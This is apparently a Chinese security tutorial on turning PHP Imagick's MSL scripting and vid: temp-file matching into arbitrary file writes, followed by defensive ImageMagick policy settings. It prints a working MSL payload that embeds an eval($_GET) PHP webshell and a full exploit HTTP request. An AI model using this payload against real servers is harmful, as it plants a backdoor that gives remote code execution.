imagickd写shell的技术学习
字数 1385 2025-08-22 12:22:37

Imagick漏洞利用:通过MSL脚本写入WebShell的技术分析

前言

本文详细分析如何利用PHP的Imagick扩展及其MSL(Magick Scripting Language)功能实现WebShell写入的技术。这种技术利用了Imagick对远程资源和临时文件处理的不安全特性,能够在特定条件下实现任意文件写入。

基础知识

Imagick类

Imagick是PHP的一个图像处理扩展,提供了丰富的图像处理功能。关键点在于其构造函数:

Imagick::__construct ([ mixed $files = "" ] )

参数说明:

  • $files:要加载的图像路径或路径数组,路径可以包含文件名通配符,也可以是URL

重要特性

  • 支持远程URL作为图像源
  • 支持多种协议(包括http://, https://, data://等)

MSL脚本语言

MSL(Magick Scripting Language)是ImageMagick的脚本语言,用于批量处理图像。关键标签:

<read>标签

<read filename="image.gif" />
<read filename="image.png" />

功能:

  • 从磁盘读取一个或多个图像
  • 支持多图像读取(处理多帧图像如GIF/TIFF时有用)

<write>标签

<write filename="image.tiff" />

功能:

  • 将图像数据写入磁盘
  • 可以指定输出格式(如TIFF、PNG、JPEG等)

VID协议

ImageMagick中的特殊协议,关键特性:

  • 支持文件名通配符匹配
  • 可以包含临时文件而无需知道确切名称
  • 通过vid:msl:/tmp/php*这样的格式可以匹配PHP临时文件

漏洞利用原理

利用链如下:

  1. 通过Imagick构造函数加载远程MSL脚本
  2. MSL脚本中包含恶意图像数据(实际是WebShell代码)
  3. 利用<write>标签将恶意内容写入Web目录
  4. 通过VID协议匹配临时文件实现包含

WebShell构造方法

基本思路

  1. 控制临时文件内容:通过MSL脚本写入
  2. 绕过文件类型限制:虽然只能写"图片"文件,但可以在图片中嵌入恶意代码
  3. 利用临时文件包含:通过VID协议匹配临时文件路径

具体实现

恶意MSL脚本示例

<?xml version="1.0" encoding="UTF-8"?>
<image>
  <read filename="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADw/cGhwIGV2YWwoJF9HRVRbMV0pOz8+fE86ODoiYmFja2Rvb3IiOjI6e3M6NDoicGF0aCI7czoxNDoiL3RtcC9zZXNzX2Fma2wiO3M6MTI6ImRvX2V4ZWNfZnVuYyI7YjowO30=" />
  <write filename="/var/www/html/shell.php" />
</image>

关键点说明

  1. Base64编码部分

    • 开头data:image/x-portable-anymap;base64伪装成PCX格式图像
    • 实际解码后包含PHP代码:<?php eval($_GET[1]);?>
  2. 文件写入路径

    • 通过<write>标签指定写入目标路径(如Web目录)
    • 需要确保目标目录有写入权限

完整HTTP请求示例

POST /?a=Imagick&b=vid:msl:/tmp/php* HTTP/1.1
Host: 192.168.177.146:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: multipart/form-data; boundary=--c32aaddf3d8fd979
Content-Length: 710

--c32aaddf3d8fd979
Content-Disposition: form-data; name="swarm"; filename="swarm.msl"
Content-Type: application/octet-stream

<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADw/cGhwIGV2YWwoJF9HRVRbMV0pOz8+fE86ODoiYmFja2Rvb3IiOjI6e3M6NDoicGF0aCI7czoxNDoiL3RtcC9zZXNzX2Fma2wiO3M6MTI6ImRvX2V4ZWNfZnVuYyI7YjowO30=" />
<write filename="/var/www/html/1.php" />
</image>
--c32aaddf3d8fd979--

防御措施

  1. 禁用危险协议

    • 在ImageMagick策略文件中禁用VID、HTTP、HTTPS等协议
    • 修改policy.xml文件,添加:
      <policy domain="coder" rights="none" pattern="VID" />
      <policy domain="coder" rights="none" pattern="HTTP" />
      <policy domain="coder" rights="none" pattern="HTTPS" />
      
  2. 输入验证

    • 严格验证用户提供的图像路径
    • 禁止使用URL作为图像源
  3. 权限控制

    • Web目录设置适当的权限,限制写入
    • 使用open_basedir限制PHP可访问目录
  4. 更新维护

    • 保持ImageMagick和PHP Imagick扩展最新版本
    • 关注安全公告并及时修补漏洞

总结

这种利用方式展示了如何通过Imagick的图像处理功能和MSL脚本语言的组合实现任意文件写入。关键在于:

  1. Imagick支持远程URL和多种协议
  2. MSL脚本可以读写文件
  3. VID协议允许模糊匹配临时文件路径
  4. 通过精心构造的"图像"数据绕过文件类型限制

理解这种攻击方式有助于更好地防御类似漏洞,特别是在使用复杂图像处理功能的Web应用中。

Imagick漏洞利用:通过MSL脚本写入WebShell的技术分析 前言 本文详细分析如何利用PHP的Imagick扩展及其MSL(Magick Scripting Language)功能实现WebShell写入的技术。这种技术利用了Imagick对远程资源和临时文件处理的不安全特性,能够在特定条件下实现任意文件写入。 基础知识 Imagick类 Imagick是PHP的一个图像处理扩展,提供了丰富的图像处理功能。关键点在于其构造函数: 参数说明: $files :要加载的图像路径或路径数组,路径可以包含文件名通配符,也可以是URL 重要特性 : 支持远程URL作为图像源 支持多种协议(包括 http:// , https:// , data:// 等) MSL脚本语言 MSL(Magick Scripting Language)是ImageMagick的脚本语言,用于批量处理图像。关键标签: <read> 标签 功能: 从磁盘读取一个或多个图像 支持多图像读取(处理多帧图像如GIF/TIFF时有用) <write> 标签 功能: 将图像数据写入磁盘 可以指定输出格式(如TIFF、PNG、JPEG等) VID协议 ImageMagick中的特殊协议,关键特性: 支持文件名通配符匹配 可以包含临时文件而无需知道确切名称 通过 vid:msl:/tmp/php* 这样的格式可以匹配PHP临时文件 漏洞利用原理 利用链如下: 通过Imagick构造函数加载远程MSL脚本 MSL脚本中包含恶意图像数据(实际是WebShell代码) 利用 <write> 标签将恶意内容写入Web目录 通过VID协议匹配临时文件实现包含 WebShell构造方法 基本思路 控制临时文件内容:通过MSL脚本写入 绕过文件类型限制:虽然只能写"图片"文件,但可以在图片中嵌入恶意代码 利用临时文件包含:通过VID协议匹配临时文件路径 具体实现 恶意MSL脚本示例 关键点说明 Base64编码部分 : 开头 data:image/x-portable-anymap;base64 伪装成PCX格式图像 实际解码后包含PHP代码: <?php eval($_GET[1]);?> 文件写入路径 : 通过 <write> 标签指定写入目标路径(如Web目录) 需要确保目标目录有写入权限 完整HTTP请求示例 防御措施 禁用危险协议 : 在ImageMagick策略文件中禁用VID、HTTP、HTTPS等协议 修改 policy.xml 文件,添加: 输入验证 : 严格验证用户提供的图像路径 禁止使用URL作为图像源 权限控制 : Web目录设置适当的权限,限制写入 使用open_ basedir限制PHP可访问目录 更新维护 : 保持ImageMagick和PHP Imagick扩展最新版本 关注安全公告并及时修补漏洞 总结 这种利用方式展示了如何通过Imagick的图像处理功能和MSL脚本语言的组合实现任意文件写入。关键在于: Imagick支持远程URL和多种协议 MSL脚本可以读写文件 VID协议允许模糊匹配临时文件路径 通过精心构造的"图像"数据绕过文件类型限制 理解这种攻击方式有助于更好地防御类似漏洞,特别是在使用复杂图像处理功能的Web应用中。